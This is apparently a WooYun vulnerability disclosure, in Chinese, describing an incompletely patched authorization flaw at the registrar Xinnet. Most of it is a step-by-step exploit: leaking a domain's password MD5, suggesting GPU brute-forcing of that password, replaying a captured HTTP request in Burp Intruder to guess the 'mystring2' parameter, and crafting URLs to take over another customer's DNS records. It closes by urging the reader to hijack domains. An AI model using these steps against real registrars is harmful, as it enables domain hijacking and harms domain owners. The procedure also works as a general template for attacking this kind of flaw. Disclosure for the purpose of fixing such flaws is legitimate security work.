WooYun.org

WooYun: 新网漏洞之主机管理越权和使用mydns的所有域名劫持
漏洞补了 但漏洞补的不够严谨
最重要的是 能够获取域名管理密码的MD5值始终是个漏洞（未补）
取得管理密码MD5值 即便没有其他地方来利用这个MD5密码 使用暴力碰撞解密MD5 获得域名的管理密码 登陆域名自主管理平台http://dcp.xinnet.com还是会对用户造成危害
新网域名管理密码系统随机生成的密码为8位大小写字母+数字的组合 现在用好点儿的显卡跑 组成集群去破解 应该不会太久 攻击一个大点儿的目标 跑几个月 一年都是值得的
言归正传 说说 WooYun: 新网漏洞之主机管理越权和使用mydns的所有域名劫持 未能修补的问题
http://mydns3.xinnet.com/mydns/recordsList.do?DomainName=xinnet.com&mystring=[MD5]&mystring2=[跟代理商有关的一个编号]
登陆新闻代理平台 进入【域名管理】=》【服务器商品】页面
在地址栏执行：javascript:submitDNSFormaaa('域名') 会打开一个域名管理页面
我们在【国际域名实名审核资料提交】中获取该域名管理密码的md5值留用
在代理商域名管理页面随便打开一个域名的Mydns 用Burp代理截取

GET /mydns/recordsList.do?DomainName=xinnet.com&mystring=[MD5]&mystring2=[跟代理商有关的一个编号] HTTP/1.1
Accept: */*
Referer: http://agent.xinnet.com/domain/manage.do?method=list&serviceState=02&forward=inusing
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E)
Cookie: 
cookie内容
Accept-Encoding: gzip, deflate
Proxy-Connection: Keep-Alive
Pragma: no-cache
Host: mydns3.xinnet.com

发送至intruder 将域名和MD5替换成攻击目标的 我们来猜解mystring2的值
mystring2一般为136开头共7位
猜解出mystring2的值之后
我们在一个已经打开的域名mydns管理页面直接输入url（利用该cookie）：
http://mydns3.xinnet.com/mydns/recordsList.do?DomainName=[目标域名]&mystring=[目标域名的MD5]&mystring2=[跟代理商有关的一个编号]
这样就进入了目标域名的Mydns管理页面
之后劫持吧 伙计！
说明可能有点儿乱 如果不能复现 可以联系我。